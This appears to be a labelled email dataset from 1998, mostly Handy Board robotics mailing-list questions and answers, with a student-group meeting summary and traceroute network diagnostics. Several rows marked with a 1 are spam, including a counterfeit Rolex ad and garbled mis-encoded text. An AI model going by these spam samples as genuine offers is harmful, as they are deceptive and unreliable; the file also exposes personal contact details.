L298 ? >> >>Regards, >>keong :-) > >The solution is really simple. All you have to do is run the power from >the motor outputs to a relay. This relay will activate another circuit >(an automatic switch with power detected from motor outputs)which has >your 12DC 4A motors AND it's own power source. > >If you would like help with using a relay, just ask! hehehe!! Have you ever tried to do PWM with a relay? ;) Sounds like a buzzer... and is not quite healthy for the relay... Use LMD18200!!... altrough they are limited to 3A with a 5A peak... Can somebody tell us if we can put two LMD18200 in parallel? .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,0 Rosalyn Nash ,Antoinette ,,Re [23]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Marco A.A. de Oliveira assfalk@eece.unm.edu ------------------------------------------------------------ Research Assistant/ UNM/NASA ACE Center Cooperative Robotics Project EECE Bldg. Rm. 110 Fax: +1-505-277-4681 Albuquerque,NM 87131 Office: +1-505-277-1437 http://ace.unm.edu ----------------------------------------------------------- ",0,1 """Fred G. Martin"" ",Will ,"Fri, 25 Sep 1998 07:16:18 -0400",Re: fred please help ,"1. when you say ""lights stay on,"" are you specifically referring to the SER and PWR LEDs by the two buttons? because the motor LEDs may be on or off, it doesn't matter, before the bootstrap download. 2. assuming yes, you are talking about SER and PWR, what happens when you unplug the board from your computer entirely? do they go off when wehn you turn the board on? if so, then you may have a problem with the cabling, either from your computer to the serial interface board, or the RJ11 cable from the serial interface to the handy board. in this case (lights go off properly when HB disconnected, but not when cabled up to computer) it's also possible that the MAX232 chip on the serial interface has failed. fred In your message you said: > > > I just bought a pre-assembled Handyboard. And I am about to explore it. > Already I am having problems. I am trying to go into the bootstrap > download mode as described in the manual, but it doesnt work. I turn off > the handy board, hold down the STOP button, turn on the board, lights go > on, lights stay on. It is my understanding they should go off. It never > worked, so I know I didnt screw it up, how can I test or fix this? I > would appreciate any help. (I am not a technical whiz, so please take it > easy on me.) > > > Thank you. > > > ",0,0 luikeith@egr.msu.edu,handyboard@media.mit.edu,"Fri, 25 Sep 1998 09:38:23 -0400",HB controlling robot.,"Dear all, I just obtained a HB and I would like it to control my robot. This is the situation: The robot is currently functioning ok and it is controlled by a 16-bit microcontroller, all the motions can be controlled simply by giving it a command which looks like ""GS""(Get sensor), ""FD110""(Forward with speed 1 and distance 10 inches). However, it has to be connected to the PC all the time and I would like to have it function independently when no commands are given in a period of time. As I know, a program can be downloaded to the HB and it can then run without any PC connection. Can anybody give me some insights on how this can be done? Thanks! Keith ",0,0 Marcelo Manjon ,handyboard@media.mit.edu,"Fri, 25 Sep 1998 11:19:31 -0300",[Sensors Inputs],"Hello all, i'm developing my MicroMouse robot with the HandyBoard and i was thinking about having 12 IR analog sensors (from Quality Technologies - QRD 1114). However, the HB suports only 7 analog input sensors. So, is there any way that i can use the digital inputs of the HB to read my analog sensors? In case i need to use an A/D circuit, does anybody have any idea of where i could buy it ? Thank you very much. Marcelo Manjon ",0,0 Adam Oliver ,Keith - Lui ,"Fri, 25 Sep 1998 23:29:55 +0800",Re: HB controlling robot.,">As I know, a program can be downloaded to the HB and it can then run without >any PC connection. > >Can anybody give me some insights on how this can be done? > Really simple. 1. Write code using Interactive C 2. Download code to Handyboard 3. Either run main() from IC or reset the board (cycle power) 4. Unplug the cable between board and PC Congratulations, your robot is now running free of the PC. If you want the robot to do stuff by itself you might like to try the bump-and-turn approach to start off with. That means the bot drives forward until it hits something, backs off and turns, then keeps going forward. Progress from there. Or alternately if you wanted to still have control of the robot without the pc being connected use the IR receiver to give it commands. I grabbed a sony remote control and pressed a few buttons to find out the code. Once you have those it's a simple matter to have a few if statements decide what the code is and move forward, turn etc. Hope this helps, Adam ",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 25 Sep 1998 18:38:02 -0400","GSO - summary of Thu, Sep 24, 98 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next meeting will be in 2 weeks (exact day/time to be announced). --Rob Summary ======= 1. Committee Reviews We reviewed the purpose of each committee (descriptions sent out earlier--available upon request). Committees will begin meeting between now and our next general meeting to write up what their goals are and to begin their work. Each will report on their progress at general meetings, but may also send/request information via the general mailing list. Below, we list each committee. Following the names are the number of ""confirmed"" members, then the number of potential members from which we are still waiting for confirmation: Funding (3/1) Healthcare (4) Liaison (2) Social (2/2) Steering (4) There is also one person who has volunteered to improve our ""housing"" information. 2. Committee Reports The 3 committees that continue from last year gave brief reports. Social Committee ================ Jen Wenner and Sarah Lyons reported that we will be able to have movie nights. At these, movies will be shown on campus, free to grad students. They are still deciding on a day/time and frequency; and thus, will give us more information about those and the movie night location in the future. They also plan to start looking into ""brown bag"" talks for the semester. It is likely that one talk will involve inviting a representative from the Chickering (student) insurance company. One meeting participant suggested the possibility of putting out a ""topic of discussion"" for a brown bag talk and then having each department prepare something to say about the topic. Other participants said that Pub Nights could be improved by having: more tables set aside, more signs around where the grads are sitting, and some people with name tags willing to go around and greet people. Also, that perhaps some simple activities could be set up to help ""break the ice."" Liaison Committee ================= Cassandra Celatka reported that Andrea White (our contact in GRS, who works under Assoc. Dean Whitaker) had not yet replied on what is happening with: - Our acquisition of a lounge for grad students. - Changes in library privileges, which we hope will give all grads the same (better) borrowing privileges as TFs. After being asked by a meeting participant about our rapport with the administration, Cassandra said she felt that while Andrea was originally very enthusiastic about doing stuff with the GSO, she has backed off some. The Liaison Committee also feels that sometimes the administration has taken our ideas and tried to make them their own. Healthcare Committee ==================== Rob Pitts reported that he has written up some ""guidelines"" for summarizing healthcare plans. These are based on what he's learned from writing up plans and are meant to keep plan summaries consistent and complete should new members of the committee write up plans. A definite goal is to get a good writeup of the Chickering plan (especially so that new students who don't have documentation on the BU plan can compare it to others we have summarized). A meeting attendee suggested having information about plans more accessible to students before they come here (by finding more ways to publicize our Healthcare Pages, etc.) 3. NAGPS Conference We discussed whether we will participate in the National Conference of the National Assoc. of Graduate-Professional Students (NAGPS) to be held in the Boston area (Boston/Braintree), Nov. 18-22. Gary Garber , who attended the NAGPS Northeast Regional Conference back in March 1998, stated that he felt that the most useful parts of the conference were pamphlets/info and networking with reps from other grad groups during conference meals. He felt that the workshops (at least at the Northeast conference) were less useful. Normally, registration for the conference is $250/person. Since this is not feasible for us, we have a couple other options: - Send reps at a day rate (approx. $50/day, but possibly lower if the NAGPS decides on a way to exclude meals). - Send volunteers. Those that help run parts of the conference will be allowed to attend certain functions (usually on the same day they volunteer). Gary proposed that we try to ask GRS for some money to attend the conference. We can also get more information about what types of volunteer work can be done. The consensus was that we should send some reps to the conference and that a good approach may be to send people from committees that would benefit from gathering information by networking with other grad orgs, e.g., Steering (""How are other groups run?""), Funding (""What is the funding situation at other schools?""), Healthcare (""How have grad orgs made strides in student healthcare?""). 4. Registering the GSO/Becoming Official Rob Pitts reported on what he learned from a meeting with a representative from the Student Activities Office (SAO) about what groups must do for official recognition at BU. Besides having at least 5 members, we'd need: - a constitution - a president and treasurer - an advisor in order to register. The deadline for registering this semester was Wed, Sept 23. Nonetheless, IF we do choose to register, it could be done in the spring (Feb) or next fall. Rob received materials that detail the requirements and benefits of being registered. Below are listed some (not a complete list) of the advantages and disadvantages of registering: Advantages ---------- - More visibility: registered groups can be part of some BU publications, calendars, event lists, possibly linked to via an SAO website, voice mail. - Tax-exempt status for purchases. - Use of university facilities (which we've used already to some degree). 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I keep getting this message whenever I try to multitask with my board: ""Not enough stack memory for new process while executing main (process # 1)"" The only things loaded are the hb libs, my code and the sony ir routines totally nowhere near the total amount of memory. The code I'm using is: "" int d; void main() { sony_init(1); while(!stop_button()) { start_process(IRCheck()); } sony_init(0); } void IRCheck() { while(1){ d = ir_data(0);} } "" I've also tried copying the example from the IC manual and had exactly the same problem. Any ideas anyone? Thanks Adam ",0,0 Will ,Handyboard Mailing List ,"Sat, 26 Sep 1998 10:09:42 -0600",Re: Multitasking problems,"Adam Oliver wrote: > I keep getting this message whenever I try to multitask with my board: > > ""Not enough stack memory for new process while executing main (process # 1)"" > int d; > > void main() > { > sony_init(1); > while(!stop_button()) > { > start_process(IRCheck()); > } > sony_init(0); > } > > void IRCheck() > { > while(1){ > d = ir_data(0);} > } I think I know what the problem is: Putting a start_process statement inside a loop like that is going to end up starting so many processes that the stack fills up almost instantly. I think you probably only need a single IRCheck process running. Try something like this: int d; /* note that this is a global variable */ void main() { int ipid; sony_init( 1 ); ipid = start_process( IRCheck() ); while( ! stop_button() ) { printf( ""IR data: %d"", d ); msleep( 250L ); } kill_process( ipid ); sony_init( 0 ); } void IRCheck() { while( 1 ) { d = ir_data( 0 ); defer(); } } Hope this helps. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait",0,0 Phil ,handyboard@media.mit.edu,"Sat, 26 Sep 1998 11:24:42 -0500",IC for the Commodore 64?,"Don't laugh, but is there a version of Ic for the C-64? ---phil ",0,0 �̹̰� ,joy@ruby.ils.unc.edu,"Sat, 26 Sep 1998 13:15:58 -0100",���������� �ź��ڵ� �˴ϴ�. ���� ������ ��#�� ���������� . nfehesmx ns o xd,ogmaltcvt y vl f rde rujxc tzigiqqeqcqlzzft iqpmbmnfok,1,1 Bob Avanzato ,handyboard@media.mit.edu,"Sat, 26 Sep 1998 17:40:27 -0400",Penn State TrailBlazers Contest,"Hi, If you are a student robot builder in the Philadelphia area (or anywhere for that matter), you may want to check out our new robot contest scheduled for Sat, Dec 5, 1998 at the Penn State Abington location. It is called ""Robo-TrailBlazers"" It should be fun. Register soon if interested. I also have some student web sites describing HB-based firefighting robots and HB IEEE micromouse. www.ecsel.psu.edu/~avanzato/robots/ -- follow link to contests or check out student pages I also posted a couple pictures of our past ""Robo-Hoops"" Nerf basketball contests ('95-'97). Any comments welcome. -Bob Robert Avanzato Assoc. Professor of Engineering Penn State Abington 1600 Woodland Road Abington, PA 19001 215-881-7358 (voice) 215-881-7623 (fax) email: RLA5@psu.edu homepage: www.personal.psu.edu/rla5/ ",0,0 Remi Desrosiers ,handyboard@media.mit.edu,"Sat, 26 Sep 1998 19:07:14 -0400",Re: IC for the Commodore 64?,"At 11:24 AM 9/26/98 -0500, you wrote: >Don't laugh, but is there a version of Ic for the C-64? > >---phil Damn! I can't laugh. :) .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . 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Soon the attackers were attacked, and they were forced into a ",1,1 edmund ,handyboard@media.mit.edu,"Sun, 27 Sep 1998 18:30:36 -0700",Controlling motor speed/frequency," hi all does anyone know if there is a way where we can increase the output frequency of the motor PWM output? i did a test by typing "" motor(0,50) "" and connecting a probe to Motor 0 +ve and to the L293D gnd pin respectively. the reading on the oscilloscope showed that the frequency was 500Hz. i tested various variations (from motor(0,0) to motor(0,100)) and found out that the output freq. range was from around 250-500Hz. i require around 1000Hz for my project. a quick look at the lib_ic, lib_r22 and lib_hb files didn't help as i'm still a beginner at C-programming. Fred, i believe you wrote the routines in those files, could you tell me what 0x0e is? is it the address of a register/port? and can we change the speed/ frequency of the PWM by modifying the routines? edmund ",0,0 Ozan Cakmakci ,edmund ,"Sun, 27 Sep 1998 07:23:35 +0000",Handy Board newbie looking for ways to expand digital I/O," Hi all, I've started playing with the Handy Board last week and needed more digital outputs then provided. After a quick look at the schematics, FAQ's and the manual, I decided to disable the motor circuitry and use the latch mapped to address 0x0e to get 8-bit digital out. This worked for me. However, I need 16 more digital outputs so right now I'm tending towards using an MC6821 as a""bus expander"". I have never worked with the 6821 before so any comments on that would be welcome. Ozan ",0,0 """Mohd Syah Nazzir B. Muslim"" ",handyboard@media.mit.edu,"Mon, 28 Sep 1998 00:09:11 +0800",My reset blues,"Hi all, I have problems running my program after downloading it to my HandyBoard. After what Maz Rahm (thank you very much Maz Rahm) replied to Keith (thanks to you too Keith) that in order for the program with the main function in it, to run, I have to switch the Board off, then on. Can I be assured that by switching the HandyBoard off, then on, that procedure is called resetting? If yes, why can't my program run after I did the procedure above. Can it be that I missed something, for example:replacing any switches. I have tried with typing a ""main();"" in my Interactive C window and this worked. But I cannot have a computer attached to my HandyBoard for my project. Could it be a problem within the HandyBoard itself? If it is, Fred, you did design the circuitry of the HandyBoard. Please advice. My project dateline is nearing, fast... Thank You SYAH ",0,0 The Plumber ,Ozan Cakmakci ,"Sun, 27 Sep 1998 12:47:33 -0600",Re: Handy Board newbie looking for ways to expand digital I/O,"Try this: http://el.www.media.mit.edu/groups/el/projects/handy-board/faq/index.html#digout works for up to 3 more 8 bit ports identical to the motor one. Thanks, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca On Sun, 27 Sep 1998, Ozan Cakmakci wrote: > > Hi all, > > I've started playing with the Handy Board last week and needed more > digital outputs then provided. After a quick look at the schematics, > FAQ's and the manual, I decided to disable the motor circuitry and > use the latch mapped to address 0x0e to get 8-bit digital out. This > worked for me. However, I need 16 more digital outputs so right now > I'm tending towards using an MC6821 as a""bus expander"". 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Blessings Are Not Valued Until They Are Gone But ye have set at nought all my counsel, and would none of my reproof. A Deaf Husband and a Blind Wife are Always a Happy Couple. Dont teach your grandmother to suck eggs Rain ah fall ah roof yuh put barrel fuh ketch am. A wise son brings joy to his father,but a foolish son grief to his mother. A happy heart makes the face cheerful, but heartache crushes the spirit The best things come in small packages On the Turf all men are equal, and under it The devil find work for idle hands to do As you sow, so shall you reap The eyes speak as much as the mouth Fools seldom differ. The country is in ruins, and there are still mountains and rivers - japanese proverb Better to live on a corner of the roof than share a house with a quarrelsome wife Keep your powder dry Manners maketh man Better safe than sorry Take your time and time will take you Lest thou shouldest ponder the path of life, her ways are moveable, that thou canst not know them. A good man is hard to find. ",1,0 keith jonak ,gilfoyle ,"Sun, 27 Sep 1998 22:36:18 -0400",Re: network speed,"Gerry, Interesting....It appears just the opposite from this end. All hops are 10ms or less untill we hit Net. Va. I was out of the office the latter part of the week. I'll look closer tomorrow. Keith gilfoyle wrote: > hi keith, > > i ran some traceroutes over the last few days and the results are > listed > below with dates and times above each one. surprisingly, to my untrained > > eye it appears the problems start on the last hop before and AFTER we > get > to esnet!? does this make sense to you? you also predicted exactly the > right > number of hops from richmond to jlab. > > jerry gilfoyle > > [gilfoyle@physpc4 gilfoyle]# date > Thu Sep 24 16:08:22 EDT 1998 > [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org > traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte > packets > 1 spock-ring (141.166.96.1) 1.324 ms 1.291 ms 1.330 ms > 2 janus (141.166.192.1) 5.730 ms 4.875 ms 5.143 ms > 3 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 1224.546 ms > 1461.578 ms 80.242 ms > 4 dcconn-nvirginia.es.net (198.124.254.25) 500.115 ms 600.280 ms > 556.779 ms > 5 cebaf-atms.es.net (134.55.24.7) 663.784 ms 757.434 ms 988.507 ms > 6 192.70.245.34 (192.70.245.34) 1052.841 ms 1071.926 ms 1257.156 ms > > 7 * jlabh3.cebaf.gov (129.57.33.135) 1228.694 ms 1325.413 ms > > [gilfoyle@physpc4 gilfoyle]# date > Thu Sep 24 18:08:44 EDT 1998 > [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org > traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte > packets > 1 spock-ring (141.166.96.1) 1.381 ms 1.289 ms 1.331 ms > 2 janus (141.166.192.1) 7.648 ms 7.388 ms 5.539 ms > 3 * sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 813.877 ms > 703.863 ms > 4 dcconn-nvirginia.es.net (198.124.254.25) 744.546 ms 609.018 ms > 622.988 ms > 5 cebaf-atms.es.net (134.55.24.7) 709.469 ms 896.565 ms 826.108 ms > 6 192.70.245.34 (192.70.245.34) 779.624 ms 549.126 ms 534.975 ms > 7 jlabh3.cebaf.gov (129.57.33.135) 610.934 ms 706.925 ms 715.647 ms > > [gilfoyle@physpc4 gilfoyle]# date > Fri Sep 25 14:23:14 EDT 1998 > [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org > traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte > packets > 1 spock-ring (141.166.96.1) 1.479 ms 1.389 ms 1.336 ms > 2 janus (141.166.192.1) 5.262 ms 5.450 ms 5.410 ms > 3 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 669.343 ms > 551.163 ms 712.378 ms > 4 dcconn-nvirginia.es.net (198.124.254.25) 718.406 ms 841.462 ms > 1252.226 ms > 5 cebaf-atms.es.net (134.55.24.7) 229.847 ms 214.732 ms 204.067 ms > 6 192.70.245.34 (192.70.245.34) 277.659 ms 866.431 ms 1266.076 ms > 7 jlabh3.cebaf.gov (129.57.33.135) 152.495 ms 203.071 ms 201.827 ms > > [gilfoyle@physpc4 gilfoyle]# date > Fri Sep 25 14:31:32 EDT 1998 > [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org > traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte > packets > 1 spock-ring (141.166.96.1) 1.311 ms 1.328 ms 1.356 ms > 2 janus (141.166.192.1) 4.518 ms 6.090 ms 4.917 ms > 3 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 672.661 ms > 620.835 ms 638.518 ms > 4 dcconn-nvirginia.es.net (198.124.254.25) 779.145 ms 755.952 ms > 758.518 ms > 5 cebaf-atms.es.net (134.55.24.7) 619.961 ms 620.167 ms 566.113 ms > 6 192.70.245.34 (192.70.245.34) 581.588 ms 588.995 ms 482.475 ms > 7 jlabh3.cebaf.gov (129.57.33.135) 388.325 ms 326.219 ms 231.320 ms > > Sun Sep 27 22:03:35 EDT 1998 > root> traceroute jlabh3.jlab.org > traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte > packets > 1 mp32.richmond.edu (141.166.64.13) 149.797 ms 149.848 ms 139.921 > ms > 2 141.166.64.1 (141.166.64.1) 159.799 ms 149.865 ms 149.924 ms > 3 janus.richmond.edu (141.166.192.1) 149.943 ms 139.864 ms 139.922 > ms > 4 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 959.821 ms > 1019.848 ms * > 5 dcconn-nvirginia.es.net (198.124.254.25) 749.963 ms 719.862 ms > 909.913 ms > 6 cebaf-atms.es.net (134.55.24.7) 809.864 ms 839.872 ms 609.908 ms > 7 192.70.245.34 (192.70.245.34) 619.888 ms 769.871 ms 719.918 ms > 8 jlabh3.cebaf.gov (129.57.33.135) 769.929 ms 819.868 ms 879.907 ms > > -- > Dr. Gerard P. Gilfoyle > > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Joe Martin ,Handy Board ,"Mon, 28 Sep 1998 21:07:12 +1000",+5v power supply dilemma,"I have been attempting to run a circuit of my own design which requires both a 9.5-14v DC supply and a 5v DC supply from a 9.6v NiCad. I run the 9.6v straight to the part of the circuit which requires that voltage and that works fine. I then take the 9.6v to an LM350 regulator adjusted to 5v DC which is supposed to be capable of delivering 3A. The regulator seems to be working fine when it is checked with a multimeter but when I attempt to operate the circuit which should and seems to only want to draw about 400mA it fails to work. The same circuit works reliably when connected in the manner illustrated below to both the 9.6v battery and a regulated 5v DC(on the HB) supply which is in turn connected through a 12v 1A DC supply connected to the 240v mains. 5v Supply 9.6v Battery +5v DC Neg 9.6v Neg | | | | |_________________________________| | | | | | | | | To 5v DC 400mA To 9.6v load load The negative terminals of both supplies are not in any way connected within the circuit but the connection between the positive terminals seems to be essential. I have discovered this method of powering my project quite by accident and am interested in any methods for obtaining both the 5v supply and the 6.5-14v supply from a battery as that is what will be required. Thank You Joe Martin ",0,0 Zenon Kulpa ,starship-design@lists.uoregon.edu,"Mon, 28 Sep 1998 15:16:57 +0100",starship-design: Test - ignore,"Sorry for distraction - I must check some problem with my mailer... -- ZK ",0,0 The IESG ,,"Mon, 28 Sep 1998 07:50:22 -0400",Last Call: SIP: Session Initiation Protocol to Proposed Standard,"The IESG has received a request from the Multiparty Multimedia Session Control Working Group to consider SIP: Session Initiation Protocol as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by October 12, 1998. Files can be obtained via ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-09.txt",0,0 Nicolas CHAMPSEIX ,Handy Board Mailing list ,"Mon, 28 Sep 1998 17:56:45 +0100",Help with electronic components.,"Bonjour from france, I am a french user of the handyboard. I work in computing but I don't know many things about electronic (a minimum). I bought my HB by Gleason Research with the ""Sensor/Motor Kit"" and I first did a LEGO based robot. I am now wondering to build a more ""serious"" robot and I need more sensors. Here are my questions : - I can't find the QRB1114 or QRD1114 IR reflectors. Could you please give me equivalent references I could use ? - Which IR led should I use for the J7 connector ? I have a CQY89, is it OK ? - Is there a library such as the sony_lib (which works great with my SONY TV remote) to control the IR emitter ? Thank you for your help, and don't worry, I will come back with new questions... Au revoir. Nicolas Champseix ",0,0 Maz Rahm ,handyboard@media.mit.edu,"Mon, 28 Sep 1998 11:04:39 -0700",Re: My reset blues," I had the same trouble with the reset thing. In the manual it states that resetting the board is simply turning the board on and off, this should work. I've had the same trouble you've had. The thing that was impeding me was the fact that I was using the WINDOWS based downloader (to download the initial file called something like: pc_hbr122.s19). I then used the DOS based downloader (DL.exe) and downloaded it with no trouble and then used IC.exe, this works flawlessly. You should be using the DOs based DLer. >Hi all, > > >I have problems running my program after downloading it to my HandyBoard. >After what Maz Rahm (thank you very much Maz Rahm) replied to Keith (thanks >to you too Keith) that in order for the program with the main function in >it, to run, I have to switch the Board off, then on. > >Can I be assured that by switching the HandyBoard off, then on, that >procedure is called resetting? > >If yes, why can't my program run after I did the procedure >above. Can it be that I missed something, for example:replacing any >switches. I have tried with typing a ""main();"" in my Interactive C window >and this worked. But I cannot have a computer attached to my HandyBoard for >my project. > >Could it be a problem within the HandyBoard itself? If it is, Fred, you did >design the circuitry of the HandyBoard. Please advice. My project dateline >is nearing, fast... > >Thank You > >SYAH > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 keith jonak ,benchoff@VT.EDU,"Mon, 28 Sep 1998 15:09:25 -0400",network access from U Richmond,"Phil, There is a problem with the network between the University of Richmond And Jefferson Lab. Throughput is poor and folks at the U of Rich. are having problems transfering files. I have had ESnet look into it from their end, and they think it is a NetworkVa. problem (no new news there...Ha). I have included some traceroutes from Jefferson Lab to U.Rich and several other NetworkVa sites. Gerry Gilfoyle had sent me some traceroutes going the opposite direction and I have included them also. It appears that only the link to U.Rich is experiencing these problems. Could your folks take a look from the NetworkVa. end? Thanks in advance! Keith Jonak Jefferson Lab 757-269-7696 ****************************************************************** JLAB to U.Rich. 1 192.70.245.66 (192.70.245.66) 28 ms 1 ms 1 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 2 ms 1 ms 1 ms 3 dcconn-atms.es.net (134.55.24.16) 6 ms 5 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 6 ms 6 ms 5 ms 5 * * * 6 * 141.166.192.2 (141.166.192.2) 222 ms 254 ms 7 physpc4.richmond.edu (141.166.63.7) 289 ms 297 ms 262 ms 1 192.70.245.66 (192.70.245.66) 2 ms 1 ms 2 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 1 ms 1 ms 1 ms 3 dcconn-atms.es.net (134.55.24.16) 5 ms 5 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 5 ms 5 ms 5 ms 5 * * * 6 141.166.192.2 (141.166.192.2) 1656 ms 97 ms 208 ms 7 141.166.192.2 (141.166.192.2) 252 ms 317 ms 417 ms 8 physpc4.richmond.edu (141.166.63.7) 413 ms 547 ms 483 ms 1 192.70.245.66 (192.70.245.66) 2 ms 1 ms 1 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 2 ms 1 ms 1 ms 3 dcconn-atms.es.net (134.55.24.16) 5 ms 5 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 209 ms 15 ms 235 ms 5 * * * 6 141.166.192.2 (141.166.192.2) 244 ms 363 ms 475 ms 7 physpc4.richmond.edu (141.166.63.7) 426 ms 441 ms 509 ms 1 192.70.245.66 (192.70.245.66) 2 ms 1 ms 1 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 1 ms 2 ms 1 ms 3 dcconn-atms.es.net (134.55.24.16) 5 ms 5 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 6 ms 5 ms 5 ms 5 * * * 6 141.166.192.2 (141.166.192.2) 413 ms 457 ms 505 ms 7 physpc4.richmond.edu (141.166.63.7) 512 ms 410 ms 304 ms ******************************************************************* JLAB to W&M 1 192.70.245.66 (192.70.245.66) 2 ms 1 ms 1 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 229 ms 3 ms 2 ms 3 dcconn-atms.es.net (134.55.24.16) 5 ms 5 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 6 ms 5 ms 5 ms 5 wm-router.networkvirginia.net (192.70.138.196) 11 ms 11 ms 11 ms 6 warthog.cc.wm.edu (128.239.1.46) 11 ms 11 ms 11 ms ***************************************************************** JLAB to ODU 1 192.70.245.66 (192.70.245.66) 2 ms 1 ms 1 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 2 ms 1 ms 1 ms 3 dcconn-atms.es.net (134.55.24.16) 5 ms 5 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 6 ms 5 ms 5 ms 5 odu-router.networkvirginia.net (192.70.138.195) 9 ms 9 ms 9 ms 6 128.82.254.11 (128.82.254.11) 10 ms 10 ms 10 ms 7 maui.labs.odu.edu (128.82.246.7) 10 ms * 10 ms ***************************************************************** JLAB to UVA 1 192.70.245.66 (192.70.245.66) 2 ms 1 ms 1 ms 2 esnet-rtr.cebafrtr.gov (192.70.245.33) 1 ms 1 ms 1 ms 3 dcconn-atms.es.net (134.55.24.16) 5 ms 6 ms 5 ms 4 nvirginia-dcconn.es.net (198.124.254.26) 6 ms 5 ms 5 ms 5 uva-router.networkvirginia.net (192.70.138.203) 8 ms 8 ms 7 ms 6 minerva.acc.Virginia.EDU (128.143.22.36) 8 ms 8 ms 8 ms ****************************************************************** U.Rich to JLAB [gilfoyle@physpc4 gilfoyle]# date Thu Sep 24 16:08:22 EDT 1998 [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte packets 1 spock-ring (141.166.96.1) 1.324 ms 1.291 ms 1.330 ms 2 janus (141.166.192.1) 5.730 ms 4.875 ms 5.143 ms 3 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 1224.546 ms 1461.578 ms 80.242 ms 4 dcconn-nvirginia.es.net (198.124.254.25) 500.115 ms 600.280 ms 556.779 ms 5 cebaf-atms.es.net (134.55.24.7) 663.784 ms 757.434 ms 988.507 ms 6 192.70.245.34 (192.70.245.34) 1052.841 ms 1071.926 ms 1257.156 ms 7 * jlabh3.cebaf.gov (129.57.33.135) 1228.694 ms 1325.413 ms [gilfoyle@physpc4 gilfoyle]# date Thu Sep 24 18:08:44 EDT 1998 [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte packets 1 spock-ring (141.166.96.1) 1.381 ms 1.289 ms 1.331 ms 2 janus (141.166.192.1) 7.648 ms 7.388 ms 5.539 ms 3 * sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 813.877 ms 703.863 ms 4 dcconn-nvirginia.es.net (198.124.254.25) 744.546 ms 609.018 ms 622.988 ms 5 cebaf-atms.es.net (134.55.24.7) 709.469 ms 896.565 ms 826.108 ms 6 192.70.245.34 (192.70.245.34) 779.624 ms 549.126 ms 534.975 ms 7 jlabh3.cebaf.gov (129.57.33.135) 610.934 ms 706.925 ms 715.647 ms [gilfoyle@physpc4 gilfoyle]# date Fri Sep 25 14:23:14 EDT 1998 [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte packets 1 spock-ring (141.166.96.1) 1.479 ms 1.389 ms 1.336 ms 2 janus (141.166.192.1) 5.262 ms 5.450 ms 5.410 ms 3 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 669.343 ms 551.163 ms 712.378 ms 4 dcconn-nvirginia.es.net (198.124.254.25) 718.406 ms 841.462 ms 1252.226 ms 5 cebaf-atms.es.net (134.55.24.7) 229.847 ms 214.732 ms 204.067 ms 6 192.70.245.34 (192.70.245.34) 277.659 ms 866.431 ms 1266.076 ms 7 jlabh3.cebaf.gov (129.57.33.135) 152.495 ms 203.071 ms 201.827 ms [gilfoyle@physpc4 gilfoyle]# date Fri Sep 25 14:31:32 EDT 1998 [gilfoyle@physpc4 gilfoyle]# traceroute jlabh3.jlab.org traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte packets 1 spock-ring (141.166.96.1) 1.311 ms 1.328 ms 1.356 ms 2 janus (141.166.192.1) 4.518 ms 6.090 ms 4.917 ms 3 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 672.661 ms 620.835 ms 638.518 ms 4 